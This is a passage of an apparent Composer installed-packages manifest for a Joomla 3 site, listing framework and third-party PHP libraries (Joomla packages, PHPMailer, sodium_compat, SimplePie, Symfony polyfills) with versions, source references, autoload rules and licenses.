        "license": [
            "GPL-2.0+"
        ],
        "description": "Joomla Data Package",
        "homepage":
"https://github.com/joomla-framework/data",
        "keywords": [
            "data",
            "framework",
            "joomla"
        ]
    },
    {
        "name": "joomla/di",
        "version": "1.5.1",
        "version_normalized": "1.5.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/di.git",
            "reference":
"33c66e4091e4433f33ddf4a0ac36604cf3b73c41"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/di/zipball/33c66e4091e4433f33ddf4a0ac36604cf3b73c41",
            "reference":
"33c66e4091e4433f33ddf4a0ac36604cf3b73c41",
            "shasum": ""
        },
        "require": {
            "php": "^5.3.10|~7.0",
            "psr/container": "~1.0"
        },
        "provide": {
            "psr/container-implementation": "~1.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "time": "2018-02-25T16:30:45+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\DI\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla DI Package",
        "homepage":
"https://github.com/joomla-framework/di",
        "keywords": [
            "container",
            "dependency injection",
            "di",
            "framework",
            "ioc",
            "joomla"
        ]
    },
    {
        "name": "joomla/event",
        "version": "1.3.0",
        "version_normalized": "1.3.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/event.git",
            "reference":
"ea97afdc7afd78cc9a0500f4b60372764fc2c0b0"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/event/zipball/ea97afdc7afd78cc9a0500f4b60372764fc2c0b0",
            "reference":
"ea97afdc7afd78cc9a0500f4b60372764fc2c0b0",
            "shasum": ""
        },
        "require": {
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "time": "2019-10-07T22:54:58+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Event\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Event Package",
        "homepage":
"https://github.com/joomla-framework/event",
        "keywords": [
            "event",
            "framework",
            "joomla"
        ]
    },
    {
        "name": "joomla/filesystem",
        "version": "1.6.0",
        "version_normalized": "1.6.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/filesystem.git",
            "reference":
"d8801f18db358b0284675381ab4195acd028b420"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/filesystem/zipball/d8801f18db358b0284675381ab4195acd028b420",
            "reference":
"d8801f18db358b0284675381ab4195acd028b420",
            "shasum": ""
        },
        "require": {
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/test": "~1.0",
            "mikey179/vfsstream": "~1.0",
            "paragonie/random_compat": "~1.0|~2.0",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "suggest": {
            "paragonie/random_compat": "Required to use
Joomla\\Filesystem\\Path::isOwner()"
        },
        "time": "2020-09-02T09:05:23+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Filesystem\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Filesystem Package",
        "homepage":
"https://github.com/joomla/joomla-framework-filesystem",
        "keywords": [
            "filesystem",
            "framework",
            "joomla"
        ]
    },
    {
        "name": "joomla/filter",
        "version": "1.4.0",
        "version_normalized": "1.4.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/filter.git",
            "reference":
"86fec1be2b545f8c00f899658f87f80b4fc67c81"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/filter/zipball/86fec1be2b545f8c00f899658f87f80b4fc67c81",
            "reference":
"86fec1be2b545f8c00f899658f87f80b4fc67c81",
            "shasum": ""
        },
        "require": {
            "joomla/string": "~1.3|~2.0",
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/language": "~1.3",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "suggest": {
            "joomla/language": "Required only if you want to
use `OutputFilter::stringURLSafe`."
        },
        "time": "2020-06-08T22:31:51+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Filter\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Filter Package",
        "homepage":
"https://github.com/joomla-framework/filter",
        "keywords": [
            "filter",
            "framework",
            "joomla"
        ]
    },
    {
        "name": "joomla/image",
        "version": "1.5.1",
        "version_normalized": "1.5.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/image.git",
            "reference":
"00e843bccb2f9b1f1e6d8710ed55d103c641a75b"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/image/zipball/00e843bccb2f9b1f1e6d8710ed55d103c641a75b",
            "reference":
"00e843bccb2f9b1f1e6d8710ed55d103c641a75b",
            "shasum": ""
        },
        "require": {
            "ext-gd": "*",
            "php": "^5.3.10|~7.0",
            "psr/log": "~1.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/test": "~1.0",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "time": "2020-12-02T13:11:43+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Image\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Image Package",
        "homepage":
"https://github.com/joomla-framework/image",
        "keywords": [
            "framework",
            "image",
            "joomla"
        ],
        "funding": [
            {
                "url":
"https://community.joomla.org/sponsorship-campaigns.html",
                "type": "custom"
            },
            {
                "url": "https://github.com/joomla",
                "type": "github"
            }
        ]
    },
    {
        "name": "joomla/input",
        "version": "1.4.0",
        "version_normalized": "1.4.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/input.git",
            "reference":
"a89927d412cdc8172889e3e0e3e66a134f367be1"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/input/zipball/a89927d412cdc8172889e3e0e3e66a134f367be1",
            "reference":
"a89927d412cdc8172889e3e0e3e66a134f367be1",
            "shasum": ""
        },
        "require": {
            "joomla/filter": "~1.0",
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/test": "~1.0",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "time": "2019-06-15T22:13:58+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Input\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Input Package",
        "homepage":
"https://github.com/joomla-framework/input",
        "keywords": [
            "framework",
            "input",
            "joomla"
        ]
    },
    {
        "name": "joomla/ldap",
        "version": "1.5.0",
        "version_normalized": "1.5.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/ldap.git",
            "reference":
"2b81fb2bb0a95b66d8aa1e3a4b6875990f5adf46"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/ldap/zipball/2b81fb2bb0a95b66d8aa1e3a4b6875990f5adf46",
            "reference":
"2b81fb2bb0a95b66d8aa1e3a4b6875990f5adf46",
            "shasum": ""
        },
        "require": {
            "ext-ldap": "*",
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/registry": "^1.4.5|~2.0",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0",
            "symfony/polyfill-php56": "~1.0"
        },
        "suggest": {
            "symfony/polyfill-php56": "If using PHP 5.5 or
earlier to use ldap_escape() function"
        },
        "time": "2019-03-10T15:16:38+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Ldap\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla LDAP Package",
        "homepage":
"https://github.com/joomla-framework/ldap",
        "keywords": [
            "framework",
            "joomla",
            "ldap"
        ]
    },
    {
        "name": "joomla/registry",
        "version": "1.6.3",
        "version_normalized": "1.6.3.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/registry.git",
            "reference":
"51c08b18838aaf2104e38c3846e34b4706e83644"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/registry/zipball/51c08b18838aaf2104e38c3846e34b4706e83644",
            "reference":
"51c08b18838aaf2104e38c3846e34b4706e83644",
            "shasum": ""
        },
        "require": {
            "joomla/compat": "~1.0",
            "joomla/utilities": "^1.4.1|~2.0",
            "php": "^5.3.10|~7.0",
            "symfony/polyfill-php55": "~1.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/test": "~1.0",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0",
            "symfony/yaml": "~2.0|~3.0|~4.0|~5.0"
        },
        "suggest": {
            "symfony/yaml": "Install symfony/yaml if you
require YAML support."
        },
        "time": "2019-11-27T16:58:55+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Registry\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Registry Package",
        "homepage":
"https://github.com/joomla-framework/registry",
        "keywords": [
            "framework",
            "joomla",
            "registry"
        ]
    },
    {
        "name": "joomla/session",
        "version": "1.5.0",
        "version_normalized": "1.5.0.0",
        "target-dir": "Joomla/Session",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/session.git",
            "reference":
"ae55b6cc56778003ce59ac314335ed38a451b2c7"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/session/zipball/ae55b6cc56778003ce59ac314335ed38a451b2c7",
            "reference":
"ae55b6cc56778003ce59ac314335ed38a451b2c7",
            "shasum": ""
        },
        "require": {
            "joomla/event": "~1.1",
            "joomla/filter": "~1.0",
            "joomla/input": "~1.4",
            "paragonie/random_compat": "~1.0|~2.0",
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/database": "~1.0",
            "joomla/test": "~1.0",
            "phpunit/dbunit": "~1.3",
            "phpunit/phpunit": "~4.8|~5.0"
        },
        "suggest": {
            "joomla/database": "Install joomla/database if
you want to use Database session storage."
        },
        "time": "2019-06-15T22:14:06+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-0": {
                "Joomla\\Session": ""
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Session Package",
        "homepage":
"https://github.com/joomla-framework/session",
        "keywords": [
            "framework",
            "joomla",
            "session"
        ]
    },
    {
        "name": "joomla/string",
        "version": "1.4.5",
        "version_normalized": "1.4.5.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/string.git",
            "reference":
"21269bfcddef4e676c6a1a49b7d959f896522a96"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/string/zipball/21269bfcddef4e676c6a1a49b7d959f896522a96",
            "reference":
"21269bfcddef4e676c6a1a49b7d959f896522a96",
            "shasum": ""
        },
        "require": {
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/test": "~1.0",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "suggest": {
            "ext-mbstring": "For improved processing"
        },
        "time": "2020-10-07T08:01:44+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\String\\": "src/"
            },
            "files": [
                "src/phputf8/utf8.php",
                "src/phputf8/ord.php",
                "src/phputf8/str_ireplace.php",
                "src/phputf8/str_pad.php",
                "src/phputf8/str_split.php",
                "src/phputf8/strcasecmp.php",
                "src/phputf8/strcspn.php",
                "src/phputf8/stristr.php",
                "src/phputf8/strrev.php",
                "src/phputf8/strspn.php",
                "src/phputf8/trim.php",
                "src/phputf8/ucfirst.php",
                "src/phputf8/ucwords.php",
                "src/phputf8/utils/ascii.php",
                "src/phputf8/utils/validation.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla String Package",
        "homepage":
"https://github.com/joomla-framework/string",
        "keywords": [
            "framework",
            "joomla",
            "string"
        ]
    },
    {
        "name": "joomla/uri",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/uri.git",
            "reference":
"848a31dc895a9c8c9d7ea67571d6a4dd634a9dc1"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/uri/zipball/848a31dc895a9c8c9d7ea67571d6a4dd634a9dc1",
            "reference":
"848a31dc895a9c8c9d7ea67571d6a4dd634a9dc1",
            "shasum": ""
        },
        "require": {
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/test": "~1.0",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "time": "2018-07-01T00:12:15+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Uri\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Uri Package",
        "homepage":
"https://github.com/joomla-framework/uri",
        "keywords": [
            "framework",
            "joomla",
            "uri"
        ]
    },
    {
        "name": "joomla/utilities",
        "version": "1.6.1",
        "version_normalized": "1.6.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/utilities.git",
            "reference":
"b54beb07ddf2d8074f6f8f43c365f84ddf714c8f"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/utilities/zipball/b54beb07ddf2d8074f6f8f43c365f84ddf714c8f",
            "reference":
"b54beb07ddf2d8074f6f8f43c365f84ddf714c8f",
            "shasum": ""
        },
        "require": {
            "joomla/string": "~1.3|~2.0",
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "time": "2019-07-17T01:48:57+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Utilities\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Utilities Package",
        "homepage":
"https://github.com/joomla-framework/utilities",
        "keywords": [
            "framework",
            "joomla",
            "utilities"
        ]
    },
    {
        "name": "leafo/lessphp",
        "version": "dev-joomla3-php8",
        "version_normalized": "dev-joomla3-php8",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-backports/lessphp.git",
            "reference":
"1bddadba0691b59dedfe841b1f99f9d4294b208c"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-backports/lessphp/zipball/1bddadba0691b59dedfe841b1f99f9d4294b208c",
            "reference":
"1bddadba0691b59dedfe841b1f99f9d4294b208c",
            "shasum": ""
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0",
            "squizlabs/php_codesniffer": "~3.3"
        },
        "time": "2020-10-10T19:20:26+00:00",
        "bin": [
            "plessc",
            "lessify"
        ],
        "type": "library",
        "installation-source": "source",
        "autoload": {
            "classmap": [
                "lessc.inc.php"
            ]
        },
        "scripts": {
            "test": [
                "phpunit",
                "phpcs -p -s"
            ],
            "fix": [
                "phpcbf"
            ]
        },
        "license": [
            "MIT",
            "GPL-3.0"
        ],
        "authors": [
            {
                "name": "Leaf Corcoran",
                "email": "leafot@gmail.com",
                "homepage": "http://leafo.net"
            }
        ],
        "description": "lessphp is a compiler for LESS
written in PHP.",
        "homepage": "http://leafo.net/lessphp/",
        "support": {
            "source":
"https://github.com/joomla-backports/lessphp/tree/dev-joomla3-php8"
        }
    },
    {
        "name": "paragonie/random_compat",
        "version": "v1.4.3",
        "version_normalized": "1.4.3.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/paragonie/random_compat.git",
            "reference":
"9b3899e3c3ddde89016f576edb8c489708ad64cd"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/paragonie/random_compat/zipball/9b3899e3c3ddde89016f576edb8c489708ad64cd",
            "reference":
"9b3899e3c3ddde89016f576edb8c489708ad64cd",
            "shasum": ""
        },
        "require": {
            "php": ">=5.2.0"
        },
        "require-dev": {
            "phpunit/phpunit": "4.*|5.*"
        },
        "suggest": {
            "ext-libsodium": "Provides a modern crypto API
that can be used to generate random bytes."
        },
        "time": "2018-04-04T21:48:54+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "files": [
                "lib/random.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Paragon Initiative
Enterprises",
                "email": "security@paragonie.com",
                "homepage": "https://paragonie.com"
            }
        ],
        "description": "PHP 5.x polyfill for random_bytes()
and random_int() from PHP 7",
        "keywords": [
            "csprng",
            "pseudorandom",
            "random"
        ]
    },
    {
        "name": "paragonie/sodium_compat",
        "version": "v1.9.1",
        "version_normalized": "1.9.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/paragonie/sodium_compat.git",
            "reference":
"87125d5b265f98c4d1b8d83a1f0726607c229421"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/paragonie/sodium_compat/zipball/87125d5b265f98c4d1b8d83a1f0726607c229421",
            "reference":
"87125d5b265f98c4d1b8d83a1f0726607c229421",
            "shasum": ""
        },
        "require": {
            "paragonie/random_compat": ">=1",
            "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8"
        },
        "require-dev": {
            "phpunit/phpunit": "^3|^4|^5"
        },
        "suggest": {
            "ext-libsodium": "PHP < 7.0: Better
performance, password hashing (Argon2i), secure memory management
(memzero), and better security.",
            "ext-sodium": "PHP >= 7.0: Better
performance, password hashing (Argon2i), secure memory management
(memzero), and better security."
        },
        "time": "2019-03-20T17:19:05+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "files": [
                "autoload.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "ISC"
        ],
        "authors": [
            {
                "name": "Paragon Initiative
Enterprises",
                "email": "security@paragonie.com"
            },
            {
                "name": "Frank Denis",
                "email": "jedisct1@pureftpd.org"
            }
        ],
        "description": "Pure PHP implementation of
libsodium; uses the PHP extension if it exists",
        "keywords": [
            "Authentication",
            "BLAKE2b",
            "ChaCha20",
            "ChaCha20-Poly1305",
            "Chapoly",
            "Curve25519",
            "Ed25519",
            "EdDSA",
            "Edwards-curve Digital Signature Algorithm",
            "Elliptic Curve Diffie-Hellman",
            "Poly1305",
            "Pure-PHP cryptography",
            "RFC 7748",
            "RFC 8032",
            "Salpoly",
            "Salsa20",
            "X25519",
            "XChaCha20-Poly1305",
            "XSalsa20-Poly1305",
            "Xchacha20",
            "Xsalsa20",
            "aead",
            "cryptography",
            "ecdh",
            "elliptic curve",
            "elliptic curve cryptography",
            "encryption",
            "libsodium",
            "php",
            "public-key cryptography",
            "secret-key cryptography",
            "side-channel resistant"
        ]
    },
    {
        "name": "phpmailer/phpmailer",
        "version": "v5.2.28",
        "version_normalized": "5.2.28.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/PHPMailer/PHPMailer.git",
            "reference":
"acba50393dd03da69a50226c139722af8b153b11"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/PHPMailer/PHPMailer/zipball/acba50393dd03da69a50226c139722af8b153b11",
            "reference":
"acba50393dd03da69a50226c139722af8b153b11",
            "shasum": ""
        },
        "require": {
            "ext-ctype": "*",
            "php": ">=5.0.0"
        },
        "require-dev": {
            "doctrine/annotations": "1.2.*",
            "jms/serializer": "0.16.*",
            "phpdocumentor/phpdocumentor": "2.*",
            "phpunit/phpunit": "4.8.*",
            "symfony/debug": "2.8.*",
            "symfony/filesystem": "2.8.*",
            "symfony/translation": "2.8.*",
            "symfony/yaml": "2.8.*",
            "zendframework/zend-cache": "2.5.1",
            "zendframework/zend-config": "2.5.1",
            "zendframework/zend-eventmanager": "2.5.1",
            "zendframework/zend-filter": "2.5.1",
            "zendframework/zend-i18n": "2.5.1",
            "zendframework/zend-json": "2.5.1",
            "zendframework/zend-math": "2.5.1",
            "zendframework/zend-serializer": "2.5.*",
            "zendframework/zend-servicemanager":
"2.5.*",
            "zendframework/zend-stdlib": "2.5.1"
        },
        "suggest": {
            "league/oauth2-google": "Needed for Google
XOAUTH2 authentication"
        },
        "time": "2020-03-19T14:29:37+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "classmap": [
                "class.phpmailer.php",
                "class.phpmaileroauth.php",
                "class.phpmaileroauthgoogle.php",
                "class.smtp.php",
                "class.pop3.php",
                "extras/EasyPeasyICS.php",
                "extras/ntlm_sasl_client.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "LGPL-2.1"
        ],
        "authors": [
            {
                "name": "Marcus Bointon",
                "email": "phpmailer@synchromedia.co.uk"
            },
            {
                "name": "Jim Jagielski",
                "email": "jimjag@gmail.com"
            },
            {
                "name": "Andy Prevost",
                "email":
"codeworxtech@users.sourceforge.net"
            },
            {
                "name": "Brent R. Matzelle"
            }
        ],
        "description": "PHPMailer is a full-featured email
creation and transfer class for PHP"
    },
    {
        "name": "psr/container",
        "version": "1.0.0",
        "version_normalized": "1.0.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/php-fig/container.git",
            "reference":
"b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
            "reference":
"b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.0"
        },
        "time": "2017-02-14T16:28:37+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.0.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Psr\\Container\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "PHP-FIG",
                "homepage": "http://www.php-fig.org/"
            }
        ],
        "description": "Common Container Interface (PHP FIG
PSR-11)",
        "homepage":
"https://github.com/php-fig/container",
        "keywords": [
            "PSR-11",
            "container",
            "container-interface",
            "container-interop",
            "psr"
        ]
    },
    {
        "name": "psr/log",
        "version": "1.1.3",
        "version_normalized": "1.1.3.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/php-fig/log.git",
            "reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
            "reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.0"
        },
        "time": "2020-03-23T09:12:05+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Psr\\Log\\": "Psr/Log/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "PHP-FIG",
                "homepage": "http://www.php-fig.org/"
            }
        ],
        "description": "Common interface for logging
libraries",
        "homepage": "https://github.com/php-fig/log",
        "keywords": [
            "log",
            "psr",
            "psr-3"
        ]
    },
    {
        "name": "simplepie/simplepie",
        "version": "1.3.1",
        "version_normalized": "1.3.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/simplepie/simplepie.git",
            "reference":
"ce53709778bc1e2e4deda1651b66e5081398d5cc"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/simplepie/simplepie/zipball/ce53709778bc1e2e4deda1651b66e5081398d5cc",
            "reference":
"ce53709778bc1e2e4deda1651b66e5081398d5cc",
            "shasum": ""
        },
        "require": {
            "php": ">=5.2.0"
        },
        "time": "2012-10-30T17:54:03+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-0": {
                "SimplePie": "library"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "BSD-3-Clause"
        ],
        "authors": [
            {
                "name": "Ryan Parman",
                "homepage": "http://ryanparman.com/",
                "role": "Creator, alumnus developer"
            },
            {
                "name": "Geoffrey Sneddon",
                "homepage": "http://gsnedders.com/",
                "role": "Alumnus developer"
            },
            {
                "name": "Ryan McCue",
                "email": "me@ryanmccue.info",
                "homepage": "http://ryanmccue.info/",
                "role": "Developer"
            }
        ],
        "description": "A simple Atom/RSS parsing library
for PHP",
        "homepage": "http://simplepie.org/",
        "keywords": [
            "atom",
            "feeds",
            "rss"
        ]
    },
    {
        "name": "symfony/polyfill-ctype",
        "version": "v1.18.1",
        "version_normalized": "1.18.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/symfony/polyfill-ctype.git",
            "reference":
"1c302646f6efc070cd46856e600e5e0684d6b454"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/symfony/polyfill-ctype/zipball/1c302646f6efc070cd46856e600e5e0684d6b454",
            "reference":
"1c302646f6efc070cd46856e600e5e0684d6b454",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.3"
        },
        "suggest": {
            "ext-ctype": "For best performance"
        },
        "time": "2020-07-14T12:35:20+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.18-dev"
            },
            "thanks": {
                "name": "symfony/polyfill",
                "url":
"https://github.com/symfony/polyfill"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Symfony\\Polyfill\\Ctype\\": ""
            },
            "files": [
                "bootstrap.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Gert de Pagter",
                "email": "BackEndTea@gmail.com"
            },
            {
                "name": "Symfony Community",
                "homepage":
"https://symfony.com/contributors"
            }
        ],
        "description": "Symfony polyfill for ctype
functions",
        "homepage": "https://symfony.com",
        "keywords": [
            "compatibility",
            "ctype",
            "polyfill",
            "portable"
        ]
    },
    {
        "name": "symfony/polyfill-php55",
        "version": "v1.18.1",
        "version_normalized": "1.18.1.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/symfony/polyfill-php55.git",
            "reference":
"9c769895334a63971244ee25d0ac71660aa07723"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/symfony/polyfill-php55/zipball/9c769895334a63971244ee25d0ac71660aa07723",
            "reference":
"9c769895334a63971244ee25d0ac71660aa07723",
            "shasum": ""
        },
        "require": {
            "ircmaxell/password-compat": "~1.0",
            "php": ">=5.3.3"
        },
        "time": "2020-07-14T12:35:20+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.18-dev"
            },
            "thanks": {
                "name": "symfony/polyfill",
                "url":
"https://github.com/symfony/polyfill"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Symfony\\Polyfill\\Php55\\": ""
            },
            "files": [
                "bootstrap.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Nicolas Grekas",
                "email": "p@tchwork.com"
            },
            {
                "name": "Symfony Community",
                "homepage":
"https://symfony.com/contributors"
            }
        ],
